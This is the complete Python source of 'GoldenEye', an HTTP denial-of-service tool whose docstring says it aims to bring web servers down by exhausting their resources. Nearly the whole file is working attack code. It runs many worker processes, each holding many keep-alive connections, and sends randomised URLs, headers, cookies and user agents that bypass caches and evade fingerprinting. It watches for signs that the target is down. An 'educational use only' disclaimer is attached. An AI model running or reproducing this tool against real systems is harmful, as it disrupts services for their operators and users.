[Python] 007 Goldeneye

#!/usr/bin/env python

"""
$Id: $

     /$$$$$$            /$$       /$$                     /$$$$$$$$
    /$$__  $$          | $$      | $$                    | $$_____/
   | $$  \__/  /$$$$$$ | $$  /$$$$$$$  /$$$$$$  /$$$$$$$ | $$       /$$   /$$  /$$$$$$
   | $$ /$$$$ /$$__  $$| $$ /$$__  $$ /$$__  $$| $$__  $$| $$$$$   | $$  | $$ /$$__  $$
   | $$|_  $$| $$  \ $$| $$| $$  | $$| $$$$$$$$| $$  \ $$| $$__/   | $$  | $$| $$$$$$$$
   | $$  \ $$| $$  | $$| $$| $$  | $$| $$_____/| $$  | $$| $$      | $$  | $$| $$_____/
   |  $$$$$$/|  $$$$$$/| $$|  $$$$$$$|  $$$$$$$| $$  | $$| $$$$$$$$|  $$$$$$$|  $$$$$$$
    \______/  \______/ |__/ \_______/ \_______/|__/  |__/|________/ \____  $$ \_______/
                                                                     /$$  | $$
                                                                    |  $$$$$$/
                                                                     \______/



This tool is a dos tool that is meant to put heavy load on HTTP servers
in order to bring them to their knees by exhausting the resource pool.

This tool is meant for research purposes only
and any malicious usage of this tool is prohibited.

@author Jan Seidl <http://wroot.org/>

@date 2013-03-26
@version 2.0

@TODO Test in python 3.x

LICENSE:
This software is distributed under the GNU General Public License version 3 (GPLv3)

LEGAL NOTICE:
THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.
"""

from multiprocessing import Process, Manager
import urlparse, ssl
import sys, getopt, random, time

# Python version-specific
if  sys.version_info < (3,0):
    # Python 2.x
    import httplib
    HTTPCLIENT = httplib
else:
    # Python 3.x
    import http.client
    HTTPCLIENT = http.client

####
# Config
####
DEBUG = False

####
# Constants
####
METHOD_GET  = 'get'
METHOD_POST = 'post'
METHOD_RAND = 'random'

JOIN_TIMEOUT=1.0

DEFAULT_WORKERS=50
DEFAULT_SOCKETS=30

####
# GoldenEye Class
####

class GoldenEye(object):

    # Counters
    counter = [0, 0]
    last_counter = [0, 0]

    # Containers
    workersQueue = []
    manager = None

    # Properties
    url = None

    # Options
    nr_workers = DEFAULT_WORKERS
    nr_sockets = DEFAULT_SOCKETS
    method = METHOD_GET

    def __init__(self, url):

        # Set URL
        self.url = url

        # Initialize Manager
        self.manager = Manager()

        # Initialize Counters
        self.counter = self.manager.list((0, 0))

    def exit(self):
        self.stats()
        print "Shutting down GoldenEye"

    def __del__(self):
        self.exit()

    def printHeader(self):

        # Taunt!
        print "GoldenEye firing!"

    # Do the fun!
    def fire(self):

        self.printHeader()
        print "Hitting webserver in mode {0} with {1} workers running {2} connections each".format(self.method, self.nr_workers, self.nr_sockets)

        if DEBUG:
            print "Starting {0} concurrent Laser workers".format(self.nr_workers)

        # Start workers
        for i in range(int(self.nr_workers)):

            try:

                worker = Laser(self.url, self.nr_sockets, self.counter)
                worker.method = self.method

                self.workersQueue.append(worker)
                worker.start()
            except (Exception):
                error("Failed to start worker {0}".format(i))
                pass

        print "Initiating monitor"
        self.monitor()

    def stats(self):

        try:
            if self.counter[0] > 0 or self.counter[1] > 0:

                print "{0} GoldenEye punches deferred. ({1} Failed)".format(self.counter[0], self.counter[1])

                if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
                    print "\tServer may be DOWN!"

                self.last_counter[0] = self.counter[0]
                self.last_counter[1] = self.counter[1]
        except (Exception):
            pass # silently ignore

    def monitor(self):
        while len(self.workersQueue) > 0:
            try:
                for worker in self.workersQueue:
                    if worker is not None and worker.is_alive():
                        worker.join(JOIN_TIMEOUT)
                    else:
                        self.workersQueue.remove(worker)

                self.stats()

            except (KeyboardInterrupt, SystemExit):
                print "CTRL+C received. Killing all workers"
                for worker in self.workersQueue:
                    try:
                        if DEBUG:
                            print "Killing worker {0}".format(worker.name)
                        #worker.terminate()
                        worker.stop()
                    except Exception, ex:
                        pass # silently ignore
                if DEBUG:
                    raise
                else:
                    pass

####
# Laser Class
####

class Laser(Process):


    # Counters
    request_count = 0
    failed_count = 0

    # Containers
    url = None
    host = None
    port = 80
    ssl = False
    referers = []
    useragents = []
    socks = []
    counter = None
    nr_socks = DEFAULT_SOCKETS

    # Flags
    runnable = True

    # Options
    method = METHOD_GET

    def __init__(self, url, nr_sockets, counter):

        super(Laser, self).__init__()

        self.counter = counter
        self.nr_socks = nr_sockets

        parsedUrl = urlparse.urlparse(url)

        if parsedUrl.scheme == 'https':
            self.ssl = True

        self.host = parsedUrl.netloc.split(':')[0]
        self.url = parsedUrl.path

        self.port = parsedUrl.port

        if not self.port:
            self.port = 80 if not self.ssl else 443


        self.referers = [
            'http://www.google.com/?q=',
            'http://www.usatoday.com/search/results?q=',
            'http://engadget.search.aol.com/search?q=',
            'http://' + self.host + '/'
            ]


        self.useragents = [
            'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
            'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
            'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
            'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
            'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
            'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
            'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
            'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
            'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
            'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
            'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
            'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
            ]

    def __del__(self):
        self.stop()


    #builds random ascii string
    def buildblock(self, size):
        out_str = ''

        _LOWERCASE = range(97, 122)
        _UPPERCASE = range(65, 90)
        _NUMERIC   = range(48, 57)

        validChars = _LOWERCASE + _UPPERCASE + _NUMERIC

        for i in range(0, size):
            a = random.choice(validChars)
            out_str += chr(a)

        return out_str


    def run(self):

        if DEBUG:
            print "Starting worker {0}".format(self.name)

        while self.runnable:

            try:

                for i in range(self.nr_socks):

                    if self.ssl:
                        c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
                    else:
                        c = HTTPCLIENT.HTTPConnection(self.host, self.port)

                    self.socks.append(c)

                for conn_req in self.socks:

                    (url, headers) = self.createPayload()

                    method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method

                    conn_req.request(method.upper(), url, None, headers)

                for conn_resp in self.socks:

                    resp = conn_resp.getresponse()
                    self.incCounter()

                self.closeConnections()

            except:
                self.incFailed()
                if DEBUG:
                    raise
                else:
                    pass # silently ignore

        if DEBUG:
            print "Worker {0} completed run. Sleeping...".format(self.name)

    def closeConnections(self):
        for conn in self.socks:
            try:
                conn.close()
            except:
                pass # silently ignore


    def createPayload(self):

        req_url, headers = self.generateData()

        random_keys = headers.keys()
        random.shuffle(random_keys)
        random_headers = {}

        for header_name in random_keys:
            random_headers[header_name] = headers[header_name]

        return (req_url, random_headers)

    def generateQueryString(self, ammount = 1):

        queryString = []

        for i in range(ammount):

            key = self.buildblock(random.randint(3,10))
            value = self.buildblock(random.randint(3,20))
            element = "{0}={1}".format(key, value)
            queryString.append(element)

        return '&'.join(queryString)


    def generateData(self):

        returnCode = 0
        param_joiner = "?"

        if len(self.url) == 0:
            self.url = '/'

        if self.url.count("?") > 0:
            param_joiner = "&"

        request_url = self.generateRequestUrl(param_joiner)

        http_headers = self.generateRandomHeaders()


        return (request_url, http_headers)

    def generateRequestUrl(self, param_joiner = '?'):

        return self.url + param_joiner + self.generateQueryString(random.randint(1,5))

    def generateRandomHeaders(self):

        # Random no-cache entries
        noCacheDirectives = ['no-cache', 'must-revalidate']
        random.shuffle(noCacheDirectives)
        noCache = ', '.join(noCacheDirectives)

        # Random accept encoding
        acceptEncoding = ['\'\'','*','identity','gzip','deflate']
        random.shuffle(acceptEncoding)
        nrEncodings = random.randint(0,len(acceptEncoding)/2)
        roundEncodings = acceptEncoding[:nrEncodings]

        http_headers = {
            'User-Agent': random.choice(self.useragents),
            'Cache-Control': noCache,
            'Accept-Encoding': ', '.join(roundEncodings),
            'Connection': 'keep-alive',
            'Keep-Alive': random.randint(110,120),
            'Host': self.host,
        }

        # Randomly-added headers
        # These headers are optional and are
        # randomly sent thus making the
        # header count random and unfingerprintable
        if random.randrange(2) == 0:
            # Random accept-charset
            acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
            random.shuffle(acceptCharset)
            http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))

        if random.randrange(2) == 0:
            # Random Referer
            http_headers['Referer'] = random.choice(self.referers) + self.buildblock(random.randint(5,10))

        if random.randrange(2) == 0:
            # Random Content-Trype
            http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])

        if random.randrange(2) == 0:
            # Random Cookie
            http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))

        return http_headers

    # Housekeeping
    def stop(self):
        self.runnable = False
        self.closeConnections()
        self.terminate()

    # Counter Functions
    def incCounter(self):
        try:
            self.counter[0] += 1
        except (Exception):
            pass

    def incFailed(self):
        try:
            self.counter[1] += 1
        except (Exception):
            pass



####

####
# Other Functions
####

def usage():
    print
    print '-----------------------------------------------------------------------------------------------------------'
    print ' USAGE: ./goldeneye.py <url> [OPTIONS]'
    print
    print ' OPTIONS:'
    print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault'
    print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS)
    print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS)
    print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\'  or \'random\'\t\t(default: get)'
    print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)'
    print '\t -h, --help\t\tShows this help'
    print '-----------------------------------------------------------------------------------------------------------'


def error(msg):
    # print help information and exit:
    sys.stderr.write(str(msg+"\n"))
    usage()
    sys.exit(2)

####
# Main
####

def main():

    try:

        if len(sys.argv) < 2:
            error('Please supply at least the URL')

        url = sys.argv[1]

        if url == '-h':
            usage()
            sys.exit()

        if url[0:4].lower() != 'http':
            error("Invalid URL supplied")

        if url == None:
            error("No URL supplied")

        opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:", ["debug", "help", "workers", "sockets", "method" ])

        workers = DEFAULT_WORKERS
        socks = DEFAULT_SOCKETS
        method = METHOD_GET

        for o, a in opts:
            if o in ("-h", "--help"):
                usage()
                sys.exit()
            elif o in ("-s", "--sockets"):
                socks = int(a)
            elif o in ("-w", "--workers"):
                workers = int(a)
            elif o in ("-d", "--debug"):
                global DEBUG
                DEBUG = True
            elif o in ("-m", "--method"):
                if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
                    method = a
                else:
                    error("method {0} is invalid".format(a))
            else:
                error("option '"+o+"' doesn't exists")

        goldeneye = GoldenEye(url)
        goldeneye.nr_workers = workers
        goldeneye.method = method
        goldeneye.nr_sockets = socks

        goldeneye.fire()

    except getopt.GetoptError, err:

        # print help information and exit:
        sys.stderr.write(str(err))
        usage()
        sys.exit(2)

if __name__ == "__main__":
    main()